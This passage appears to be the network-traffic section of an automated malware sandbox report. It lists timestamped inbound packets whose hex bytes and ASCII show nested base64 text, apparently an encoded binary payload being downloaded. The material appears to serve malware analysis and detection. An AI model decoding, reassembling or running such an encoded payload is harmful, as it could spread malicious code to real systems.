2021-11-09 21:22:01 UTC	1412	IN	Data Raw: 4a 00 4b 00 5a 00 45 00 4e 00 6d 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 00 51 00 55 00 4e 00 74 00 4b 00 30 00 39 00 42 00 55 00 55 00 46 00 48 00 52 00 56 00 46 00 52 00 57 00 47 00 49 00 31 00 53 00 55 00 4a 00 42 00 51 00 56 00 6c 00 53 00 51 00 6b 00 4e 00 71 00 62 00 45 00 46 00 42 00 51 00 55 00 64 00 69 00 4e 00 55 00 46 00 43 00 51 00 55 00 46 00 5a 00 55 00 6b 00 4a 00 48 00 4c 00 30 00 64 00 42 00 51 00 55 00 46 00 4c 00 51 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 52 00 51 00 55 00 64 00 43 00 62 00 54 00 6b 00 78 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 6e 00 51 00 55 00 46 00 42 00 55 00 6e 00 64 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 56 00 52 00 51 00 57 Data Ascii: JKZENmQUFBRUtEY0FBQXB6T0FBQUNtK09BUUFHRVFRWGI1SUJBQVlSQkNqbEFBQUdiNUFCQUFZUkJHL0dBQUFLQkNpOEFRQUdCbTkxQVFBR0tnQUFBUndBQUFJQUVRQW
2021-11-09 21:22:01 UTC	1416	IN	Data Raw: 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 54 00 6b 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 31 00 45 00 30 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 43 00 52 00 55 00 56 00 69 00 4f 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 69 00 4b 00 7a 00 68 00 42 00 51 00 55 00 46 00 61 00 65 00 6c 00 70 00 42 00 51 00 55 00 46 00 44 00 61 00 45 00 56 00 47 00 59 00 69 00 39 00 46 00 51 00 55 00 46 00 42 00 57 00 56 00 4a 00 43 00 56 00 79 00 39 00 36 00 51 00 55 00 46 00 42 00 52 00 30 00 78 00 52 00 54 00 56 00 64 00 4c 00 64 00 30 00 56 00 59 00 53 00 30 00 30 00 34 00 51 00 55 00 46 00 42 00 62 00 31 00 52 00 43 00 61 00 46 00 6c 00 55 00 51 00 6e 00 6c 00 30 00 56 00 30 00 56 00 52 00 57 00 56 00 4a 00 43 00 Data Ascii: UFBQm0vTkFBQUtFd1E0bUFBQUFCRUViODRBQUFvVEJSRUZiKzhBQUFaelpBQUFDaEVGYi9FQUFBWVJCVy96QUFBR0xRTVdLd0VYS004QUFBb1RCaFlUQnl0V0VRWVJC
2021-11-09 21:22:01 UTC	1420	IN	Data Raw: 42 00 51 00 55 00 46 00 46 00 62 00 45 00 5a 00 6f 00 4f 00 44 00 5a 00 75 00 55 00 31 00 56 00 59 00 53 00 44 00 46 00 35 00 5a 00 47 00 4e 00 36 00 5a 00 30 00 46 00 42 00 51 00 58 00 46 00 70 00 52 00 6a 00 49 00 35 00 54 00 30 00 46 00 42 00 51 00 55 00 74 00 46 00 64 00 7a 00 68 00 48 00 52 00 56 00 45 00 31 00 64 00 6b 00 70 00 42 00 51 00 55 00 46 00 44 00 62 00 6b 00 39 00 6a 00 51 00 56 00 46 00 42 00 52 00 30 00 70 00 53 00 52 00 56 00 42 00 4d 00 51 00 57 00 4e 00 53 00 52 00 44 00 51 00 31 00 63 00 45 00 5a 00 36 00 51 00 55 00 68 00 6d 00 61 00 44 00 52 00 42 00 51 00 55 00 46 00 76 00 63 00 6b 00 4a 00 43 00 52 00 56 00 42 00 47 00 4e 00 58 00 42 00 32 00 63 00 45 00 46 00 46 00 51 00 55 00 4a 00 70 00 56 00 56 00 4a 00 45 00 56 00 79 00 74 Data Ascii: BQUFFbEZoODZuU1VYSDF5ZGN6Z0FBQXFpRjI5T0FBQUtFdzhHRVE1dkpBQUFDbk9jQVFBR0pSRVBMQWNSRDQ1cEZ6QUhmaDRBQUFvckJCRVBGNXB2cEFFQUJpVVJEVyt
2021-11-09 21:22:01 UTC	1424	IN	Data Raw: 00 46 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51 00 55 00 4e 00 78 00 53 00 57 00 38 00 32 00 51 00 55 00 46 00 42 00 51 00 6d 00 30 00 76 00 5a 00 45 00 46 00 42 00 51 00 55 00 74 00 43 00 65 00 44 00 68 00 6a 00 53 00 30 00 5a 00 4a 00 51 00 55 00 46 00 42 00 62 00 31 00 6c 00 47 00 65 00 47 00 6c 00 4f 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 54 00 56 00 56 00 64 00 49 00 65 00 45 00 39 00 4f 00 56 00 32 00 64 00 42 00 51 00 55 00 46 00 54 00 57 00 46 00 45 00 78 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 6e 00 4d 00 30 00 46 00 42 00 51 00 55 00 74 00 6a 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 77 00 65 00 57 00 6c 00 6e 00 5a 00 30 00 46 00 6a 00 53 00 44 00 52 00 6c 00 51 00 Data Ascii: FCd2ZoNEFBQW9vSHdBQUNxSW82QUFBQm0vZEFBQUtCeDhjS0ZJQUFBb1lGeGlOV0FBQUFTVVdIeE9OV2dBQUFTWFExQUFBQkNnM0FBQUtjemdBQUFweWlnZ0FjSDRlQ
2021-11-09 21:22:01 UTC	1428	IN	Data Raw: 65 00 58 00 46 00 42 00 5a 00 30 00 46 00 6a 00 53 00 30 00 6c 00 73 00 52 00 30 00 4a 00 46 00 52 00 32 00 39 00 70 00 56 00 56 00 70 00 6a 00 63 00 57 00 64 00 4a 00 51 00 55 00 68 00 44 00 61 00 55 00 70 00 53 00 62 00 31 00 4e 00 44 00 55 00 32 00 70 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 61 00 6d 00 35 00 42 00 51 00 55 00 46 00 4c 00 59 00 69 00 73 00 30 00 51 00 55 00 46 00 42 00 57 00 56 00 4a 00 44 00 61 00 46 00 70 00 32 00 4f 00 55 00 46 00 42 00 51 00 55 00 4a 00 6f 00 52 00 55 00 74 00 46 00 55 00 56 00 46 00 6d 00 52 00 30 00 6b 00 78 00 59 00 55 00 46 00 42 00 51 00 55 00 4a 00 4b 00 5a 00 45 00 52 00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 45 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 36 00 54 00 30 00 46 00 42 Data Ascii: eXFBZ0FjS0lsR0JFR29pVVpjcWdJQUhDaUpSb1NDU2ptQUFBS29pam5BQUFLYis0QUFBWVJDaFp2OUFBQUJoRUtFUVFmR0kxYUFBQUJKZER0QUFBRUtEY0FBQXB6T0FB
2021-11-09 21:22:01 UTC	1432	IN	Data Raw: 00 5a 00 4e 00 58 00 42 00 4e 00 63 00 45 00 68 00 6c 00 51 00 58 00 6c 00 69 00 5a 00 55 00 46 00 42 00 57 00 58 00 46 00 42 00 52 00 55 00 5a 00 4e 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 55 00 55 00 55 00 46 00 42 00 51 00 55 00 4a 00 76 00 51 00 6b 00 46 00 42 00 51 00 6d 00 35 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00 51 00 55 00 56 00 44 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 47 00 64 00 43 00 51 00 55 00 46 00 43 00 4e 00 45 00 46 00 52 00 51 00 55 00 46 00 45 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 64 00 42 00 51 00 55 00 Data Ascii: ZNXBNcEhlQXliZUFBWXFBRUZNQUFBQUFBQUFUUUFBQUJvQkFBQm5BUUFBQXdBQUFBOEFBQUVDQUFBQVFBQUFBRGdCQUFCNEFRQUFEZ0FBQUFBQUFBQUFBQUFBQmdBQU
2021-11-09 21:22:01 UTC	1436	IN	Data Raw: 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 59 00 34 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 50 00 55 00 55 00 46 00 42 00 51 00 32 00 30 00 76 00 64 00 30 00 46 00 42 00 51 00 55 00 64 00 43 00 4d 00 30 00 70 00 4c 00 51 00 31 00 46 00 43 00 64 00 30 00 74 00 43 00 5a 00 30 00 46 00 42 00 51 00 33 00 4e 00 76 00 52 00 31 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 59 00 69 00 39 00 4a 00 51 00 55 00 46 00 42 00 57 00 55 00 68 00 47 00 62 00 53 00 38 00 77 00 51 00 55 00 46 00 42 00 52 00 30 00 49 00 79 00 4c 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 55 Data Ascii: UNuTTRBQUFLS0Y4QUFBb29PUUFBQ20vd0FBQUdCM0pLQ1FCd0tCZ0FBQ3NvR1FBQUszTTRBQUFLYi9JQUFBWUhGbS8wQUFBR0IyL2ZBQUFLM2dNbTNnQUdLZ0FBQUFFU
2021-11-09 21:22:01 UTC	1440	IN	Data Raw: 00 4f 00 45 00 31 00 71 00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 51 00 53 00 55 00 46 00 42 00 51 00 56 00 46 00 76 00 54 00 6e 00 64 00 42 00 51 00 55 00 4e 00 75 00 54 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 53 00 30 00 63 00 30 00 51 00 55 00 46 00 42 00 62 00 30 00 4e 00 6c 00 65 00 45 00 46 00 42 00 51 00 55 00 46 00 52 00 55 00 6b 00 4a 00 6f 00 52 00 55 00 70 00 58 00 51 00 6b 00 56 00 50 00 59 00 57 00 78 00 6f 00 63 00 45 00 56 00 52 00 62 00 31 00 4a 00 45 00 4e 00 44 00 68 00 31 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 35 00 55 00 55 00 46 00 42 00 51 00 56 00 4a 00 77 00 59 00 69 00 39 00 4a 00 51 00 55 00 46 00 42 00 63 00 57 00 6c 00 50 00 52 00 45 00 56 00 43 00 51 00 55 00 46 00 42 00 51 00 32 00 56 00 Data Ascii: OE1qVm9BQUFFbDBQSUFBQVFvTndBQUNuTTRBQUFLS0c0QUFBb0NleEFBQUFRUkJoRUpXQkVPYWxocEVRb1JENDh1QUFBQ2V5UUFBQVJwYi9JQUFBcWlPREVCQUFBQ2V
2021-11-09 21:22:01 UTC	1444	IN	Data Raw: 6c 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 6c 00 6f 00 64 00 55 00 46 00 42 00 51 00 55 00 74 00 42 00 62 00 6e 00 4e 00 52 00 51 00 55 00 46 00 42 00 52 00 55 00 56 00 52 00 62 00 31 00 4a 00 45 00 56 00 6d 00 64 00 53 00 52 00 47 00 68 00 68 00 56 00 31 00 64 00 48 00 61 00 31 00 4a 00 45 00 61 00 47 00 56 00 58 00 59 00 56 00 63 00 76 00 65 00 55 00 46 00 42 00 51 00 55 00 74 00 6d 00 55 00 31 00 6c 00 42 00 51 00 55 00 46 00 52 00 4e 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6f 00 33 00 52 00 48 00 64 00 42 00 51 00 55 00 4a 00 43 00 61 00 48 00 46 00 4e 00 65 00 6d 00 4e 00 44 00 5a 00 58 00 68 00 4e 00 51 00 55 00 46 00 42 00 55 00 55 Data Ascii: lBQUFFS0RjQUFBcHpPQUFBQ2lodUFBQUtBbnNRQUFBRUVRb1JEVmdSRGhhV1dHa1JEaGVXYVcveUFBQUtmU1lBQUFRNGdBQUFBQUo3RHdBQUJCaHFNemNDZXhNQUFBUU
2021-11-09 21:22:01 UTC	1448	IN	Data Raw: 00 33 00 64 00 59 00 52 00 46 00 49 00 77 00 56 00 45 00 4a 00 43 00 57 00 56 00 52 00 43 00 55 00 57 00 64 00 7a 00 52 00 6c 00 46 00 5a 00 56 00 30 00 46 00 75 00 63 00 31 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 6b 00 4a 00 6b 00 57 00 6d 00 74 00 61 00 64 00 30 00 56 00 47 00 4d 00 57 00 74 00 52 00 51 00 57 00 68 00 6a 00 56 00 45 00 4a 00 52 00 55 00 56 00 68 00 58 00 55 00 6b 00 31 00 48 00 53 00 7a 00 4e 00 52 00 55 00 6b 00 4a 00 6f 00 5a 00 46 00 70 00 42 00 65 00 6b 00 70 00 46 00 51 00 6d 00 68 00 46 00 52 00 6b 00 46 00 75 00 63 00 31 00 46 00 42 00 51 00 55 00 46 00 46 00 52 00 56 00 46 00 68 00 55 00 6b 00 4e 00 53 00 5a 00 46 00 70 00 49 00 65 00 44 00 6c 00 6d 00 57 00 58 00 6c 00 45 00 4c 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 Data Ascii: 3dYRFIwVEJCWVRCUWdzRlFZV0Fuc1FBQUFFQkJkWmtad0VGMWtRQWhjVEJRUVhXUk1HSzNRUkJoZFpBekpFQmhFRkFuc1FBQUFFRVFhUkNSZFpIeDlmWXlEL0FBQUFD
2021-11-09 21:22:01 UTC	1452	IN	Data Raw: 42 00 51 00 55 00 46 00 79 00 59 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 58 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 58 00 46 00 44 00 51 00 32 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 6b 00 74 00 42 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 71 00 51 00 55 00 4a 00 52 00 4d 00 30 00 46 00 42 00 62 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 42 00 55 00 30 00 46 00 44 00 4f 00 55 00 4a 00 42 00 51 00 57 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 54 00 46 00 4f 00 51 00 55 00 46 00 4e 00 53 00 30 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 56 00 72 00 51 00 55 00 46 00 42 00 51 00 53 00 39 00 42 00 51 00 55 00 46 Data Ascii: BQUFyYzNnTW0zZ0FXaldnQUFBRXFDQ29BQUFBQktBQUFBZ0FqQUJRM0FBb0FBQUFBQWdBU0FDOUJBQW9BQUFBQUFBQUFBRTFOQUFNS0FBQUJHekFFQUVrQUFBQS9BQUF
2021-11-09 21:22:01 UTC	1456	IN	Data Raw: 00 46 00 42 00 51 00 55 00 4e 00 75 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 54 00 46 00 4d 00 34 00 56 00 32 00 4e 00 77 00 4f 00 45 00 78 00 42 00 53 00 45 00 52 00 52 00 53 00 6b 00 46 00 42 00 51 00 55 00 46 00 70 00 61 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 52 00 6a 00 51 00 79 00 54 00 6b 00 46 00 42 00 51 00 55 00 4a 00 4b 00 55 00 6c 00 6c 00 58 00 52 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 76 00 61 00 57 00 63 00 33 00 51 00 56 00 46 00 42 00 53 00 30 00 74 00 4d 00 4e 00 45 00 46 00 42 00 51 00 58 00 46 00 42 00 52 00 33 00 64 00 46 00 51 00 55 00 4a 00 49 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 5a 00 54 00 63 00 34 00 51 00 55 00 46 00 42 00 63 00 43 00 74 00 48 00 64 00 30 00 56 00 42 00 51 00 Data Ascii: FBQUNuNGJBUUFFTFM4V2NwOExBSERRSkFBQUFpaTRBQUFLRjQyTkFBQUJKUllXRkNpOEFBQUtvaWc3QVFBS0tMNEFBQXFBR3dFQUJINGJBUUFFZTc4QUFBcCtHd0VBQ
2021-11-09 21:22:01 UTC	1460	IN	Data Raw: 51 00 55 00 4e 00 74 00 4f 00 58 00 64 00 42 00 55 00 55 00 46 00 4c 00 59 00 6a 00 4e 00 46 00 51 00 6b 00 46 00 42 00 62 00 33 00 46 00 42 00 51 00 6e 00 4e 00 33 00 51 00 6c 00 46 00 44 00 4d 00 55 00 46 00 42 00 51 00 55 00 46 00 54 00 5a 00 30 00 46 00 42 00 52 00 56 00 68 00 50 00 63 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 62 00 6b 00 77 00 78 00 51 00 33 00 64 00 43 00 64 00 32 00 4e 00 30 00 53 00 55 00 31 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 59 00 7a 00 4e 00 4a 00 51 00 6b 00 46 00 42 00 62 00 30 00 78 00 43 00 4d 00 6a 00 6c 00 36 00 51 00 56 00 46 00 42 00 53 00 30 00 52 00 42 00 61 00 48 00 5a 00 6b 00 51 00 55 00 56 00 42 00 51 00 32 00 63 00 77 Data Ascii: QUNtOXdBUUFLYjNFQkFBb3FBQnN3QlFDMUFBQUFTZ0FBRVhPcUFBQUtDbkwxQ3dCd2N0SU1BSEIrSGdBQUNpZ2ZBQUFLYzNJQkFBb0xCMjl6QVFBS0RBaHZkQUVBQ2cw
2021-11-09 21:22:01 UTC	1464	IN	Data Raw: 00 42 00 63 00 57 00 6c 00 4b 00 55 00 6d 00 64 00 6c 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 32 00 74 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 56 00 56 00 70 00 46 00 55 00 56 00 46 00 68 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 44 00 68 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 7a 00 57 00 55 00 4a 00 42 00 51 00 57 00 39 00 73 00 54 00 46 00 46 00 52 00 62 00 55 00 5a 00 44 00 63 00 30 00 5a 00 69 00 4e 00 47 00 4e 00 42 00 51 00 55 00 46 00 78 00 61 00 55 00 Data Ascii: BcWlKUmdlalZvQUFBRWwwT2tBQUFRb053QUFDbk00QUFBS29pVVpFUVFhalZvQUFBRWwwTDhBQUFRb053QUFDbk00QUFBS2IzWUJBQW9sTFFRbUZDc0ZiNGNBQUFxaU
2021-11-09 21:22:01 UTC	1468	IN	Data Raw: 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 35 00 4d 00 6b 00 46 00 52 00 51 00 55 00 74 00 6b 00 56 00 6d 00 64 00 42 00 51 00 55 00 46 00 47 00 64 00 6a 00 42 00 52 00 51 00 55 00 46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 56 00 52 00 57 00 6e 00 5a 00 6c 00 51 00 55 00 56 00 42 00 51 00 32 00 6b 00 79 00 56 00 6a 00 4e 00 6e 00 64 00 31 00 4a 00 43 00 61 00 58 00 64 00 49 00 52 00 56 00 46 00 61 00 64 00 6b 00 4e 00 33 00 51 00 55 00 46 00 44 00 64 00 48 00 70 00 6c 00 52 00 45 00 4a 00 46 00 53 00 30 00 78 00 42 00 59 00 31 00 4a 00 44 00 62 00 54 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 31 00 46 00 55 00 57 00 74 00 7a 00 51 00 6e 00 68 00 46 00 53 Data Ascii: UFBcHpPQUFBQ205MkFRQUtkVmdBQUFGdjBRQUFDdDRESnQ0QUVRWnZlQUVBQ2kyVjNnd1JCaXdIRVFadkN3QUFDdHplREJFS0xBY1JDbThMQUFBSzNONE1FUWtzQnhFS
2021-11-09 21:22:01 UTC	1472	IN	Data Raw: 00 57 00 57 00 74 00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 52 00 6e 00 51 00 6b 00 46 00 42 00 62 00 32 00 78 00 6e 00 51 00 30 00 31 00 43 00 51 00 55 00 46 00 52 00 62 00 30 00 74 00 52 00 51 00 55 00 46 00 4c 00 65 00 57 00 64 00 54 00 51 00 55 00 46 00 42 00 63 00 6b 00 4d 00 35 00 4e 00 45 00 5a 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 45 00 57 00 54 00 68 00 42 00 51 00 55 00 31 00 4c 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 36 00 51 00 55 00 5a 00 42 00 51 00 56 00 46 00 43 00 51 00 55 00 46 00 43 00 55 00 30 00 46 00 42 00 51 00 56 00 4a 00 6a 00 63 00 7a 00 52 00 54 00 51 00 55 00 68 00 43 00 65 00 55 00 56 00 Data Ascii: WWtBZ0FHYzRnQkFBb2xnQ01CQUFRb0tRQUFLeWdTQUFBckM5NEZKdDRBQmlvSEtnQUJFQUFBQUFBR0FEWThBQU1LQUFBQkd6QUZBQVFCQUFCU0FBQVJjczRTQUhCeUV
2021-11-09 21:22:01 UTC	1476	IN	Data Raw: 64 00 49 00 4d 00 58 00 6c 00 6b 00 52 00 6a 00 49 00 35 00 62 00 6b 00 46 00 42 00 51 00 55 00 74 00 44 00 5a 00 31 00 6c 00 48 00 61 00 6d 00 31 00 72 00 57 00 56 00 64 00 61 00 62 00 32 00 5a 00 44 00 57 00 54 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 00 48 00 68 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 34 00 62 00 45 00 46 00 42 00 51 00 55 00 74 00 4d 00 51 00 57 00 39 00 48 00 51 00 6d 00 38 00 31 00 63 00 45 00 59 00 78 00 62 00 57 00 46 00 44 00 4f 00 54 00 52 00 4d 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 51 00 6e 00 6c 00 61 00 65 00 46 00 46 00 42 00 59 00 30 00 4e 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 Data Ascii: dIMXlkRjI5bkFBQUtDZ1lHam1rWVdab2ZDWTFhQUFBQkpkRHhBQUFFS0RjQUFBcHpPQUFBQ204bEFBQUtMQW9HQm81cEYxbWFDOTRMM2dNbTNnQnlaeFFBY0NvSEtnQU
2021-11-09 21:22:01 UTC	1480	IN	Data Raw: 00 55 00 46 00 46 00 51 00 6c 00 4a 00 5a 00 51 00 32 00 55 00 77 00 59 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 5a 00 54 00 42 00 6e 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 72 00 5a 00 30 00 56 00 42 00 51 00 32 00 64 00 4a 00 52 00 6d 00 70 00 74 00 62 00 44 00 6c 00 54 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4a 00 51 00 32 00 55 00 77 00 62 00 30 00 46 00 42 00 51 00 56 00 46 00 76 00 5a 00 47 00 64 00 42 00 51 00 55 00 4e 00 75 00 4d 00 55 00 70 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 64 00 42 00 51 00 55 00 56 00 36 00 51 00 55 00 4e 00 42 00 53 00 46 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 6e 00 52 00 45 00 51 00 55 00 46 00 42 00 52 00 57 00 5a 00 75 00 55 00 55 00 46 00 42 00 Data Ascii: UFFQlJZQ2UwY0FBQVFDZTBnQUFBUW9rZ0VBQ2dJRmptbDlTZ0FBQkFJQ2Uwb0FBQVFvZGdBQUNuMUpBQUFFS2dBQUV6QUNBSFVBQUFBQUFBQUFBbnREQUFBRWZuUUFB
2021-11-09 21:22:01 UTC	1484	IN	Data Raw: 78 00 53 00 47 00 64 00 4a 00 62 00 31 00 6c 00 6e 00 51 00 55 00 46 00 44 00 61 00 57 00 39 00 6c 00 51 00 57 00 35 00 31 00 54 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 55 00 6c 00 44 00 51 00 54 00 4d 00 79 00 54 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 44 00 52 00 44 00 5a 00 54 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 4a 00 5a 00 30 00 6c 00 45 00 5a 00 6c 00 6c 00 33 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 49 00 5a 00 30 00 6f 00 33 00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 6c 00 42 00 5a 00 30 00 34 00 35 00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 56 00 42 00 62 00 6e 00 56 00 50 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00 7a 00 4a Data Ascii: xSGdJb1lnQUFDaW9lQW51TEFBQUVLaUlDQTMyTEFBQUVLaDRDZTR3QUFBUXFJZ0lEZll3QUFBUXFIZ0o3alFBQUJDb2lBZ045alFBQUJDb2VBbnVPQUFBRUtpSUNBMzJ
2021-11-09 21:22:01 UTC	1488	IN	Data Raw: 00 46 00 76 00 65 00 6b 00 4e 00 33 00 53 00 56 00 64 00 6d 00 55 00 54 00 52 00 43 00 51 00 55 00 46 00 52 00 51 00 30 00 4e 00 70 00 63 00 30 00 68 00 47 00 62 00 6b 00 31 00 4e 00 51 00 57 00 64 00 42 00 52 00 30 00 4e 00 6e 00 57 00 58 00 46 00 49 00 5a 00 30 00 6c 00 76 00 52 00 57 00 64 00 4a 00 51 00 55 00 4a 00 70 00 62 00 33 00 56 00 6a 00 65 00 46 00 56 00 44 00 51 00 55 00 46 00 68 00 51 00 55 00 56 00 52 00 52 00 55 00 46 00 43 00 51 00 32 00 39 00 6c 00 51 00 57 00 6c 00 6f 00 61 00 55 00 46 00 42 00 51 00 55 00 74 00 4c 00 5a 00 32 00 39 00 59 00 53 00 32 00 67 00 30 00 51 00 30 00 74 00 48 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 78 00 51 00 55 00 4a 00 4e 00 64 00 30 00 46 00 6e 00 51 00 58 00 4a 00 42 00 51 00 55 00 46 00 42 00 56 00 Data Ascii: FvekN3SVdmUTRCQUFRQ0Npc0hGbk1NQWdBR0NnWXFIZ0lvRWdJQUJpb3VjeFVDQUFhQUVRRUFCQ29lQWloaUFBQUtLZ29YS2g0Q0tHSUFBQW9xQUJNd0FnQXJBQUFBV
2021-11-09 21:22:01 UTC	1492	IN	Data Raw: 64 00 30 00 64 00 52 00 57 00 55 00 46 00 46 00 4d 00 45 00 4a 00 78 00 54 00 45 00 46 00 5a 00 51 00 57 00 31 00 36 00 63 00 48 00 46 00 4d 00 51 00 56 00 6c 00 42 00 61 00 55 00 51 00 31 00 63 00 55 00 78 00 4a 00 63 00 30 00 4a 00 54 00 56 00 45 00 6c 00 42 00 51 00 55 00 45 00 30 00 51 00 57 00 74 00 55 00 53 00 47 00 56 00 4c 00 64 00 7a 00 52 00 42 00 56 00 55 00 51 00 33 00 5a 00 55 00 74 00 33 00 4e 00 45 00 46 00 4e 00 56 00 55 00 52 00 6c 00 53 00 33 00 64 00 5a 00 51 00 58 00 4a 00 44 00 61 00 6c 00 52 00 52 00 51 00 56 00 6c 00 42 00 4c 00 30 00 4e 00 61 00 63 00 55 00 78 00 42 00 57 00 55 00 46 00 6e 00 61 00 53 00 74 00 79 00 55 00 57 00 64 00 5a 00 51 00 55 00 35 00 70 00 64 00 44 00 68 00 4f 00 55 00 56 00 6c 00 42 00 63 00 47 00 70 00 4f Data Ascii: d0dRWUFFMEJxTEFZQW16cHFMQVlBaUQ1cUxJc0JTVElBQUE0QWtUSGVLdzRBVUQ3ZUt3NEFNVURlS3dZQXJDalRRQVlBL0NacUxBWUFnaStyUWdZQU5pdDhOUVlBcGpO
